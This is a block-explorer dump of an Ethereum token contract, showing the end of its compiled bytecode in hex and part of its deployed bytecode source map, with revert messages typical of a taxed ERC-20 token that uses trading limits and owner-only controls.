0f826123f2565b6000611c1b8247612b99565b90506000866040015186611c2f9190612b99565b611c399083612bac565b90506000876040015182611c4d9190612b82565b90508015611c5f57611c5f868261257a565b6020880151600090611c72846002612b82565b611c7c9190612b82565b90508015611c9a57600854611c9a906001600160a01b031682612636565b6060890151600090611cad856002612b82565b611cb79190612b82565b90508015611cd557601e54611cd5906001600160a01b031682612636565b50506004805462ff000019169055505050505050505050565b6000611cfb848484611a94565b6001600160a01b03871660009081526010602052604090205490915060ff1615611d5d576001600160a01b038616600090815260026020526040902054611d43908590612b99565b6001600160a01b0387166000908152600260205260409020555b6001600160a01b03851660009081526010602052604090205460ff1615611dc05760c08101516001600160a01b038616600090815260026020526040902054611da69190612bce565b6001600160a01b0386166000908152600260205260409020555b80516001600160a01b038716600090815260016020526040902054611de59190612b99565b6001600160a01b0380881660009081526001602090815260408083209490945584015191881681529190912054611e1c9190612bce565b6001600160a01b0386166000908152600160205260409081902091909155810151151580611e4e575060008160e00151115b15611e6557611e6581604001518260e0015161274f565b600081608001511180611e7d57506000816101200151115b15611f0257611e958160800151826101200151612784565b306001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101400151846101000151856101200151611ee69190612bce565b611ef09190612bce565b60405190815260200160405180910390a35b600081606001511180611f1a57506000816101000151115b15611f3257611f3281606001518261010001516127fa565b60008160a001511180611f4a57506000816101400151115b15611f6257611f628160a0015182610140015161280f565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c00151604051611fab91815260200190565b60405180910390a3505050505050565b6000806000600954905060006009600a611fd59190612b73565b611fe490641784abd312612b82565b905060005b6003548110156121485782600160006003848154811061200b5761200b612c67565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612076575081600260006003848154811061204f5761204f612c67565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156120a6576009546009600a61208c9190612b73565b61209b90641784abd312612b82565b945094505050509091565b60016000600383815481106120bd576120bd612c67565b60009182526020808320909101546001600160a01b031683528201929092526040019020546120ec9084612b99565b9250600260006003838154811061210557612105612c67565b60009182526020808320909101546001600160a01b031683528201929092526040019020546121349083612b99565b91508061214081612c7d565b915050611fe9565b506121556009600a612b73565b61216490641784abd312612b82565b6009546121719190612bac565b8210156121a2576009546009600a6121899190612b73565b61219890641784abd312612b82565b9350935050509091565b90939092509050565b6121b3612824565b826121c45760c08101849052610a10565b6121ef6040518060800160405280600081526020016000815260200160008152602001600081525090565b82156122245750604080516080810182526016548152601754602082015260185491810191909152601954606082015261224f565b5060408051608081018252601254815260135460208201526014549181019190915260155460608201525b805160649061225e9087612b82565b6122689190612bac565b60e0830152602081015160649061227f9087612b82565b6122899190612bac565b61010083015260408101516064906122a19087612b82565b6122ab9190612bac565b61012083015260608101516064906122c39087612b82565b6122cd9190612bac565b610140830181905261012083015161010084015160e08501516122f09089612b99565b6122fa9190612b99565b6123049190612b99565b61230e9190612b99565b60c0830152509392505050565b60008080808061232b8689612b82565b945086612343575083925060009150819050806123bf565b858960e001516123539190612b82565b9250858961010001516123669190612b82565b9150858961012001516123799190612b82565b90506000868a610140015161238e9190612b82565b905080828461239d878a612b99565b6123a79190612b99565b6123b19190612b99565b6123bb9190612b99565b9450505b945094509450945094565b6000826123d957506000610a10565b818461014001516123ea9190612b82565b949350505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061242757612427612c67565b60200260200101906001600160a01b031690816001600160a01b031681525050600460039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561249a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124be9190612be1565b816001815181106124d1576124d1612c67565b6001600160a01b0392831660209182029290920101526004546124fe913091630100000090041684611262565b600b54600f541061250e57600080fd5b6004805460405163791ac94760e01b815263010000009091046001600160a01b03169163791ac9479161254c91869160009187913091429101612c96565b600060405180830381600087803b15801561256657600080fd5b505af1158015611a69573d6000803e3d6000fd5b600454612599903090630100000090046001600160a01b031684611262565b6004546001600160a01b0363010000009091041663f305d7198230856000806125ca6000546001600160a01b031690565b426040518863ffffffff1660e01b81526004016125ec96959493929190612bfe565b60606040518083038185885af115801561260a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061262f9190612c39565b5050505050565b804710156126865760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016107b5565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146126d3576040519150601f19603f3d011682016040523d82523d6000602084013e6126d8565b606091505b5050905080610f175760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016107b5565b81600960008282546127619190612b99565b9091555050601a805482919060009061277b908490612bce565b90915550505050565b80601a60020160008282546127999190612bce565b90915550503060009081526010602052604090205460ff16156127db5730600090815260026020526040812080548392906127d5908490612bce565b90915550505b306000908152600160205260408120805484929061277b908490612bce565b80601a60010160008282546127999190612bce565b80601a60030160008282546127999190612bce565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600060208083528351808285015260005b818110156128ab5785810183015185820160400152820161288f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461122057600080fd5b600080604083850312156128f457600080fd5b82356128ff816128cc565b946020939093013593505050565b60008060006060848603121561292257600080fd5b833561292d816128cc565b9250602084013561293d816128cc565b929592945050506040919091013590565b60006020828403121561296057600080fd5b5035919050565b801515811461122057600080fd5b6000806040838503121561298857600080fd5b82359150602083013561299a81612967565b809150509250929050565b6000602082840312156129b757600080fd5b8135610a10816128cc565b600080604083850312156129d557600080fd5b82356129e0816128cc565b9150602083013561299a816128cc565b60208082526017908201527f54726164696e67206e6f7420656e61626c656420796574000000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215612a6e57600080fd5b8151610a1081612967565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115612aca578160001904821115612ab057612ab0612a79565b80851615612abd57918102915b93841c9390800290612a94565b509250929050565b600082612ae157506001610b3d565b81612aee57506000610b3d565b8160018114612b045760028114612b0e57612b2a565b6001915050610b3d565b60ff841115612b1f57612b1f612a79565b50506001821b610b3d565b5060208310610133831016604e8410600b8410161715612b4d575081810a610b3d565b612b578383612a8f565b8060001904821115612b6b57612b6b612a79565b029392505050565b6000610a1060ff841683612ad2565b8082028115828204841417610b3d57610b3d612a79565b81810381811115610b3d57610b3d612a79565b600082612bc957634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610b3d57610b3d612a79565b600060208284031215612bf357600080fd5b8151610a10816128cc565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215612c4e57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b600060018201612c8f57612c8f612a79565b5060010190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612ce65784516001600160a01b031683529383019391830191600101612cc1565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220dda56d00eefd310e7864930bc34a3e6ec6bb34502523fcc04fe449a205e5318564736f6c63430008110033

Deployed Bytecode Sourcemap

3331:18052:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6543:83;;;;;;;;;;-1:-1:-1;6613:5:0;;;;;;;;;;;-1:-1:-1;;;6613:5:0;;;;6543:83;;;;6613:5;6543:83;:::i;:::-;;;;;;;;7303:187;;;;;;;;;;-1:-1:-1;7303:187:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7303:187:0;1023::1;20956:154:0;;;;;;;;;;-1:-1:-1;20956:154:0;;;;;:::i;:::-;;:::i;:::-;;6839:95;;;;;;;;;;;;;:::i;:::-;;;1822:25:1;;;1810:2;1795:18;6839:95:0;1676:177:1;7498:436:0;;;;;;;;;;-1:-1:-1;7498:436:0;;;;;:::i;:::-;;:::i;4264:28::-;;;;;;;;;;;;;;;;10489:248;;;;;;;;;;-1:-1:-1;10489:248:0;;;;;:::i;:::-;;:::i;6725:83::-;;;;;;;;;;-1:-1:-1;6725:83:0;;4076:1;2185:36:1;;2173:2;2158:18;6725:83:0;2043:184:1;8881:234:0;;;;;;;;;;-1:-1:-1;8881:234:0;;;;;:::i;:::-;;:::i;10011:470::-;;;;;;;;;;-1:-1:-1;10011:470:0;;;;;:::i;:::-;;:::i;8662:211::-;;;;;;;;;;-1:-1:-1;8662:211:0;;;;;:::i;:::-;;:::i;3673:26::-;;;;;;;;;;-1:-1:-1;3673:26:0;;;;;;;;10745:123;;;;;;;;;;-1:-1:-1;10745:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;10833:27:0;10809:4;10833:27;;;:18;:27;;;;;;;;;10745:123;4624:48;;;;;;;;;;-1:-1:-1;4624:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4418:49;;;;;;;;;;;;;;;;4474:51;;;;;;;;;;;;;;;;4363:48;;;;;;;;;;;;;;;;3706:23;;;;;;;;;;-1:-1:-1;3706:23:0;;;;;;;;;;;6942:198;;;;;;;;;;-1:-1:-1;6942:198:0;;;;;:::i;:::-;;:::i;1039:94::-;;;;;;;;;;;;;:::i;5130:38::-;;;;;;;;;;-1:-1:-1;5130:38:0;;;;;;;;;;;;;;;;;;;3152:25:1;;;3208:2;3193:18;;3186:34;;;;3236:18;;;3229:34;3294:2;3279:18;;3272:34;3139:3;3124:19;5130:38:0;2921:391:1;11007:537:0;;;:::i;3957:75::-;;;;;;;;;;-1:-1:-1;3957:75:0;;;;-1:-1:-1;;;;;3957:75:0;;;;;;-1:-1:-1;;;;;3481:32:1;;;3463:51;;3451:2;3436:18;3957:75:0;3317:203:1;9728:120:0;;;;;;;;;;-1:-1:-1;9728:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;9820:20:0;9796:4;9820:20;;;:11;:20;;;;;;;;;9728:120;816:87;;;;;;;;;;-1:-1:-1;862:7:0;889:6;-1:-1:-1;;;;;889:6:0;816:87;;20793:151;;;;;;;;;;;;;:::i;5336:36::-;;;;;;;;;;-1:-1:-1;5336:36:0;;;;;;;;;;;;;;;21182:196;;;;;;;;;;-1:-1:-1;21182:196:0;;;;;:::i;:::-;;:::i;9123:396::-;;;;;;;;;;-1:-1:-1;9123:396:0;;;;;:::i;:::-;;:::i;3792:19::-;;;;;;;;;;-1:-1:-1;3792:19:0;;;;-1:-1:-1;;;;;3792:19:0;;;9527:193;;;;;;;;;;-1:-1:-1;9527:193:0;;;;;:::i;:::-;;:::i;7152:143::-;;;;;;;;;;-1:-1:-1;7152:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7260:18:0;;;7233:7;7260:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7152:143;4301:55;;;;;;;;;;;;;;;;5813:74;;;;;;;;;;-1:-1:-1;5813:74:0;;;;-1:-1:-1;;;;;5813:74:0;;;1141:192;;;;;;;;;;-1:-1:-1;1141:192:0;;;;;:::i;:::-;;:::i;5175:42::-;;;;;;;;;;-1:-1:-1;5175:42:0;;;;;;;;;;;;;;;3764:21;;;;;;;;;;-1:-1:-1;3764:21:0;;;;;;;-1:-1:-1;;;;;3764:21:0;;;9856:147;;;;;;;;;;;;;:::i;7303:187::-;4743:14;;7404:4;;7384:10;;4743:14;;;:42;;-1:-1:-1;;;;;;4761:24:0;;;;;;:15;:24;;;;;;;;4743:42;4735:78;;;;-1:-1:-1;;;4735:78:0;;;;;;;:::i;:::-;;;;;;;;;7421:39:::1;317:10:::0;7444:7:::1;7453:6;7421:8;:39::i;:::-;-1:-1:-1::0;7478:4:0::1;::::0;7303:187;-1:-1:-1;;;7303:187:0:o;20956:154::-;862:7;889:6;-1:-1:-1;;;;;889:6:0;317:10;951:23;943:68;;;;-1:-1:-1;;;943:68:0;;;;;;;:::i;:::-;21061:41:::1;::::0;-1:-1:-1;;;21061:41:0;;-1:-1:-1;;;;;5046:32:1;;;21061:41:0::1;::::0;::::1;5028:51:1::0;5095:18;;;5088:34;;;21061:27:0;::::1;::::0;::::1;::::0;5001:18:1;;21061:41:0::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;20956:154:::0;;;:::o;6839:95::-;6892:7;4188:13;4076:1;4188:2;:13;:::i;:::-;4170:31;;:15;:31;:::i;:::-;6912:14;;6839:95;:::o;7498:436::-;4743:14;;7618:4;;7601:6;;4743:14;;;:42;;-1:-1:-1;;;;;;4761:24:0;;;;;;:15;:24;;;;;;;;4743:42;4735:78;;;;-1:-1:-1;;;4735:78:0;;;;;;;:::i;:::-;7635:36:::1;7645:6;7653:9;7664:6;7635:9;:36::i;:::-;-1:-1:-1::0;;;;;7711:19:0;::::1;7684:24;7711:19:::0;;;:11:::1;:19;::::0;;;;;;;317:10;7711:33;;;;;;;;7763:26;;::::1;;7755:79;;;::::0;-1:-1:-1;;;7755:79:0;;7273:2:1;7755:79:0::1;::::0;::::1;7255:21:1::0;7312:2;7292:18;;;7285:30;7351:34;7331:18;;;7324:62;-1:-1:-1;;;7402:18:1;;;7395:38;7450:19;;7755:79:0::1;7071:404:1::0;7755:79:0::1;7845:57;7854:6:::0;317:10;7876:25:::1;7895:6:::0;7876:16;:25:::1;:::i;:::-;7845:8;:57::i;:::-;-1:-1:-1::0;7922:4:0::1;::::0;7498:436;-1:-1:-1;;;;;7498:436:0:o;10489:248::-;10555:7;10594;;10583;:18;;10575:73;;;;-1:-1:-1;;;10575:73:0;;7815:2:1;10575:73:0;;;7797:21:1;7854:2;7834:18;;;7827:30;7893:34;7873:18;;;7866:62;-1:-1:-1;;;7944:18:1;;;7937:40;7994:19;;10575:73:0;7613:406:1;10575:73:0;10659:19;10682:10;:8;:10::i;:::-;10659:33;-1:-1:-1;10710:19:0;10659:33;10710:7;:19;:::i;:::-;10703:26;10489:248;-1:-1:-1;;;10489:248:0:o;8881:234::-;4743:14;;8988:4;;8967:10;;4743:14;;;:42;;-1:-1:-1;;;;;;4761:24:0;;;;;;:15;:24;;;;;;;;4743:42;4735:78;;;;-1:-1:-1;;;4735:78:0;;;;;;;:::i;:::-;317:10;9037:25:::1;::::0;;;:11:::1;:25;::::0;;;;;;;-1:-1:-1;;;;;9037:34:0;::::1;::::0;;;;;;;;9005:80:::1;::::0;317:10;9028:7;;9037:47:::1;::::0;9074:10;;9037:47:::1;:::i;10011:470::-:0;10101:7;4188:13;4076:1;4188:2;:13;:::i;:::-;4170:31;;:15;:31;:::i;:::-;10129:7;:18;;10121:62;;;;-1:-1:-1;;;10121:62:0;;8578:2:1;10121:62:0;;;8560:21:1;8617:2;8597:18;;;8590:30;8656:33;8636:18;;;8629:61;8707:18;;10121:62:0;8376:355:1;10121:62:0;10199:17;10194:280;;10233:28;10264:32;10275:7;10284:4;10290:5;10264:10;:32::i;:::-;10318:9;;-1:-1:-1;10311:16:0;;-1:-1:-1;10311:16:0;10194:280;10360:28;10391:32;10402:7;10411:4;10417:5;10391:10;:32::i;:::-;10445:17;;;;-1:-1:-1;10438:24:0;;-1:-1:-1;10438:24:0;10194:280;10011:470;;;;:::o;8662:211::-;8739:10;10809:4;10833:27;;;:18;:27;;;;;;;;5273:35;;;;;;8762:29:::1;8778:4;8784:6;8762:15;:29::i;:::-;8802:63;::::0;-1:-1:-1;;;8802:63:0;;-1:-1:-1;;;;;8994:15:1;;8802:63:0::1;::::0;::::1;8976:34:1::0;8817:4:0::1;9026:18:1::0;;;9019:43;;;9078:18;;;9071:34;;;8817:4:0;8802:34:::1;::::0;8911:18:1;;8802:63:0::1;8736:375:1::0;6942:198:0;-1:-1:-1;;;;;7032:20:0;;7008:7;7032:20;;;:11;:20;;;;;;;;7028:49;;;-1:-1:-1;;;;;;7061:16:0;;;;;:7;:16;;;;;;;6942:198::o;7028:49::-;-1:-1:-1;;;;;7115:16:0;;;;;;:7;:16;;;;;;7095:37;;:19;:37::i;1039:94::-;862:7;889:6;-1:-1:-1;;;;;889:6:0;317:10;951:23;943:68;;;;-1:-1:-1;;;943:68:0;;;;;;;:::i;:::-;1104:21:::1;1122:1;1104:9;:21::i;:::-;1039:94::o:0;11007:537::-;862:7;889:6;-1:-1:-1;;;;;889:6:0;317:10;951:23;943:68;;;;-1:-1:-1;;;943:68:0;;;;;;;:::i;:::-;11088:6:::1;;;;;;;;;-1:-1:-1::0;;;;;11088:6:0::1;-1:-1:-1::0;;;;;11088:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11079:37:0::1;;11125:4;11132:6;;;;;;;;;-1:-1:-1::0;;;;;11132:6:0::1;-1:-1:-1::0;;;;;11132:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11079:67;::::0;-1:-1:-1;;;;;;11079:67:0::1;::::0;;;;;;-1:-1:-1;;;;;9602:15:1;;;11079:67:0::1;::::0;::::1;9584:34:1::0;9654:15;;9634:18;;;9627:43;9519:18;;11079:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11072:4;:74:::0;;-1:-1:-1;;;;;11072:74:0;;::::1;-1:-1:-1::0;;;;;;11072:74:0;;::::1;::::0;::::1;::::0;;:4:::1;11157:17:::0;;;:11:::1;:17;::::0;;;;;;;:24;;-1:-1:-1;;11157:24:0;;::::1;11072:74:::0;11157:24;;::::1;::::0;;;11207:4;;11192:9:::1;:20:::0;;;;::::1;::::0;;;;::::1;::::0;;;;::::1;11207:4:::0;;::::1;11192:20;::::0;;;11239:4;;;::::1;11223:21:::0;;:15:::1;:21:::0;;;;;:28;;;;::::1;::::0;;::::1;::::0;;11294:6:::1;::::0;11262:59:::1;::::0;11279:4:::1;::::0;11294:6;;::::1;;-1:-1:-1::0;;11262:8:0::1;:59::i;:::-;11332:6;::::0;;;::::1;-1:-1:-1::0;;;;;11332:6:0::1;:22;11362:9;11395:4;11415:24;11395:4:::0;11415:9:::1;:24::i;:::-;11454:1;11471::::0;11488:7:::1;862::::0;889:6;-1:-1:-1;;;;;889:6:0;;816:87;11488:7:::1;11510:15;11332:204;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11007:537::o:0;20793:151::-;862:7;889:6;-1:-1:-1;;;;;889:6:0;317:10;951:23;943:68;;;;-1:-1:-1;;;943:68:0;;;;;;;:::i;:::-;4188:13:::1;4076:1;4188:2;:13;:::i;:::-;4170:31;::::0;:15:::1;:31;:::i;:::-;20847:11;:21:::0;4188:13:::1;4076:1;4188:2;:13;:::i;:::-;4170:31;::::0;:15:::1;:31;:::i;:::-;20879:12;:22:::0;4188:13:::1;4076:1;4188:2;:13;:::i;:::-;4170:31;::::0;:15:::1;:31;:::i;:::-;20912:14;:24:::0;20793:151::o;21182:196::-;862:7;889:6;-1:-1:-1;;;;;889:6:0;317:10;951:23;943:68;;;;-1:-1:-1;;;943:68:0;;;;;;;:::i;:::-;21282:9:::1;21257:21;:34;;21249:71;;;::::0;-1:-1:-1;;;21249:71:0;;10806:2:1;21249:71:0::1;::::0;::::1;10788:21:1::0;10845:2;10825:18;;;10818:30;10884:26;10864:18;;;10857:54;10928:18;;21249:71:0::1;10604:348:1::0;21249:71:0::1;21331:39;::::0;21339:10:::1;::::0;21331:39;::::1;;;::::0;21360:9;;21331:39:::1;::::0;;;21360:9;21339:10;21331:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;21182:196:::0;:::o;9123:396::-;4743:14;;9235:4;;9214:10;;4743:14;;;:42;;-1:-1:-1;;;;;;4761:24:0;;;;;;:15;:24;;;;;;;;4743:42;4735:78;;;;-1:-1:-1;;;4735:78:0;;;;;;;:::i;:::-;317:10;9252:24:::1;9279:25:::0;;;:11:::1;:25;::::0;;;;;;;-1:-1:-1;;;;;9279:34:0;::::1;::::0;;;;;;;;9332:35;;::::1;;9324:85;;;::::0;-1:-1:-1;;;9324:85:0;;11159:2:1;9324:85:0::1;::::0;::::1;11141:21:1::0;11198:2;11178:18;;;11171:30;11237:34;11217:18;;;11210:62;-1:-1:-1;;;11288:18:1;;;11281:35;11333:19;;9324:85:0::1;10957:401:1::0;9324:85:0::1;9420:67;317:10:::0;9443:7;9452:34:::1;9471:15:::0;9452:16;:34:::1;:::i;9420:67::-;-1:-1:-1::0;9507:4:0::1;::::0;9123:396;-1:-1:-1;;;;9123:396:0:o;9527:193::-;4743:14;;9631:4;;9610:10;;4743:14;;;:42;;-1:-1:-1;;;;;;4761:24:0;;;;;;:15;:24;;;;;;;;4743:42;4735:78;;;;-1:-1:-1;;;4735:78:0;;;;;;;:::i;:::-;9652:40:::1;9662:10;9674:9;9685:6;9652:9;:40::i;1141:192::-:0;862:7;889:6;-1:-1:-1;;;;;889:6:0;317:10;951:23;943:68;;;;-1:-1:-1;;;943:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1230:22:0;::::1;1222:73;;;::::0;-1:-1:-1;;;1222:73:0;;11565:2:1;1222:73:0::1;::::0;::::1;11547:21:1::0;11604:2;11584:18;;;11577:30;11643:34;11623:18;;;11616:62;-1:-1:-1;;;11694:18:1;;;11687:36;11740:19;;1222:73:0::1;11363:402:1::0;1222:73:0::1;1306:19;1316:8;1306:9;:19::i;:::-;1141:192:::0;:::o;9856:147::-;862:7;889:6;-1:-1:-1;;;;;889:6:0;317:10;951:23;943:68;;;;-1:-1:-1;;;943:68:0;;;;;;;:::i;:::-;9906:14:::1;:21:::0;;-1:-1:-1;;9938:18:0;;;;;9983:12:::1;9967:13;:28:::0;9856:147::o;7946:335::-;-1:-1:-1;;;;;8039:19:0;;8031:68;;;;-1:-1:-1;;;8031:68:0;;11972:2:1;8031:68:0;;;11954:21:1;12011:2;11991:18;;;11984:30;12050:34;12030:18;;;12023:62;-1:-1:-1;;;12101:18:1;;;12094:34;12145:19;;8031:68:0;11770:400:1;8031:68:0;-1:-1:-1;;;;;8118:21:0;;8110:68;;;;-1:-1:-1;;;8110:68:0;;12377:2:1;8110:68:0;;;12359:21:1;12416:2;12396:18;;;12389:30;12455:34;12435:18;;;12428:62;-1:-1:-1;;;12506:18:1;;;12499:32;12548:19;;8110:68:0;12175:398:1;8110:68:0;-1:-1:-1;;;;;8189:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8241:32;;1822:25:1;;;8241:32:0;;1795:18:1;8241:32:0;;;;;;;7946:335;;;:::o;15228:1961::-;-1:-1:-1;;;;;15316:18:0;;15308:68;;;;-1:-1:-1;;;15308:68:0;;12780:2:1;15308:68:0;;;12762:21:1;12819:2;12799:18;;;12792:30;12858:34;12838:18;;;12831:62;-1:-1:-1;;;12909:18:1;;;12902:35;12954:19;;15308:68:0;12578:401:1;15308:68:0;-1:-1:-1;;;;;15395:16:0;;15387:64;;;;-1:-1:-1;;;15387:64:0;;13186:2:1;15387:64:0;;;13168:21:1;13225:2;13205:18;;;13198:30;13264:34;13244:18;;;13237:62;-1:-1:-1;;;13315:18:1;;;13308:33;13358:19;;15387:64:0;12984:399:1;15387:64:0;15479:1;15470:6;:10;15462:64;;;;-1:-1:-1;;;15462:64:0;;13590:2:1;15462:64:0;;;13572:21:1;13629:2;13609:18;;;13602:30;13668:34;13648:18;;;13641:62;-1:-1:-1;;;13719:18:1;;;13712:39;13768:19;;15462:64:0;13388:405:1;15462:64:0;15555:15;15565:4;15555:9;:15::i;:::-;15545:6;:25;;15537:86;;;;-1:-1:-1;;;15537:86:0;;14000:2:1;15537:86:0;;;13982:21:1;14039:2;14019:18;;;14012:30;14078:34;14058:18;;;14051:62;-1:-1:-1;;;14129:18:1;;;14122:47;14186:19;;15537:86:0;13798:413:1;15537:86:0;-1:-1:-1;;;;;15648:24:0;;;;;;:18;:24;;;;;;;;15647:25;:52;;;;-1:-1:-1;;;;;;15677:22:0;;;;;;:18;:22;;;;;;;;15676:23;15647:52;15644:128;;;15723:14;;;;15715:45;;;;-1:-1:-1;;;15715:45:0;;14418:2:1;15715:45:0;;;14400:21:1;14457:2;14437:18;;;14430:30;-1:-1:-1;;;14476:18:1;;;14469:48;14534:18;;15715:45:0;14216:342:1;15715:45:0;-1:-1:-1;;;;;15796:24:0;;;;;;:18;:24;;;;;;;;15795:25;:52;;;;-1:-1:-1;;;;;;15825:22:0;;;;;;:18;:22;;;;;;;;15824:23;15795:52;:85;;;;;15867:13;;15851:12;:29;;15795:85;15792:173;;;15911:4;;-1:-1:-1;;;;;15911:4:0;;;15905:10;;;;15897:56;;;;-1:-1:-1;;;15897:56:0;;14765:2:1;15897:56:0;;;14747:21:1;14804:2;14784:18;;;14777:30;14843:34;14823:18;;;14816:62;-1:-1:-1;;;14894:18:1;;;14887:31;14935:19;;15897:56:0;14563:397:1;15897:56:0;15996:4;;-1:-1:-1;;;;;15988:12:0;;;15996:4;;15988:12;:39;;;;-1:-1:-1;;;;;;16005:22:0;;;;;;:18;:22;;;;;;;;16004:23;15988:39;:52;;;;-1:-1:-1;16032:8:0;;;;;;;16031:9;15988:52;15985:246;;;16074:11;;16064:6;:21;;16056:63;;;;-1:-1:-1;;;16056:63:0;;15167:2:1;16056:63:0;;;15149:21:1;15206:2;15186:18;;;15179:30;15245:31;15225:18;;;15218:59;15294:18;;16056:63:0;14965:353:1;16056:63:0;16168:14;;16158:6;16142:13;16152:2;16142:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;16134:85;;;;-1:-1:-1;;;16134:85:0;;15525:2:1;16134:85:0;;;15507:21:1;;;15544:18;;;15537:30;15603:34;15583:18;;;15576:62;15655:18;;16134:85:0;15323:356:1;16134:85:0;16262:4;;-1:-1:-1;;;;;16254:12:0;;;16262:4;;16254:12;;;;:39;;-1:-1:-1;;;;;;16271:22:0;;;;;;:18;:22;;;;;;;;16270:23;16254:39;:68;;;;-1:-1:-1;;;;;;16298:24:0;;;;;;:18;:24;;;;;;;;16297:25;16254:68;:81;;;;-1:-1:-1;16327:8:0;;;;;;;16326:9;16254:81;16251:325;;;16369:12;;16359:6;:22;;16351:65;;;;-1:-1:-1;;;16351:65:0;;15886:2:1;16351:65:0;;;15868:21:1;15925:2;15905:18;;;15898:30;15964:32;15944:18;;;15937:60;16014:18;;16351:65:0;15684:354:1;16351:65:0;16440:4;;-1:-1:-1;;;;;16434:10:0;;;16440:4;;16434:10;16431:134;;16498:14;;16488:6;16472:13;16482:2;16472:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;16464:85;;;;-1:-1:-1;;;16464:85:0;;15525:2:1;16464:85:0;;;15507:21:1;;;15544:18;;;15537:30;15603:34;15583:18;;;15576:62;15655:18;;16464:85:0;15323:356:1;16464:85:0;16595:12;16638:18;;16610:24;16628:4;16610:9;:24::i;:::-;16671:8;;-1:-1:-1;;16610:46:0;;-1:-1:-1;16671:8:0;;;;;16670:9;:24;;;;-1:-1:-1;16683:11:0;;;;;;;16670:24;:35;;;;;16698:7;16670:35;:51;;;;-1:-1:-1;16717:4:0;;-1:-1:-1;;;;;16709:12:0;;;16717:4;;16709:12;;16670:51;:80;;;;-1:-1:-1;;;;;;16726:24:0;;;;;;:18;:24;;;;;;;;16725:25;16670:80;:107;;;;-1:-1:-1;;;;;;16755:22:0;;;;;;:18;:22;;;;;;;;16754:23;16670:107;16667:261;;;16802:4;;-1:-1:-1;;;;;16802:4:0;;;16796:10;;;;16793:123;;16824:18;;16809:45;;;;;;;;16844:9;16809:45;;;;;;;;;;;;;;;;;;;;;;;;;;16824:18;16809:14;:45::i;:::-;16793:123;;;16890:18;;16875:41;;;;;;;;16910:5;16875:41;;;;;;;;;;;;;;;;;;;;;;;;;;16890:18;16875:14;:41::i;:::-;17001:8;;16953:4;;16938:12;;17001:8;;;;;;:36;;-1:-1:-1;;;;;;17013:24:0;;;;;;:18;:24;;;;;;;;17001:36;:62;;;-1:-1:-1;;;;;;17041:22:0;;;;;;:18;:22;;;;;;;;17001:62;16998:82;;;17075:5;17065:15;;16998:82;17100:4;;-1:-1:-1;;;;;17100:4:0;;;17094:10;;;;17091:28;;-1:-1:-1;17115:4:0;17091:28;17132:49;17147:4;17153:2;17157:6;17165:7;17174:6;17132:14;:49::i;:::-;15297:1892;;;15228:1961;;;:::o;15062:158::-;15103:7;15124:15;15141;15160:19;:17;:19::i;:::-;15123:56;;-1:-1:-1;15123:56:0;-1:-1:-1;15197:15:0;15123:56;;15197:15;:::i;:::-;15190:22;;;;15062:158;:::o;12429:471::-;12515:36;;:::i;:::-;12576:37;12588:7;12597;12606:6;12576:11;:37::i;:::-;12564:49;;12733:53;12746:9;12757:7;12766;12775:10;:8;:10::i;:::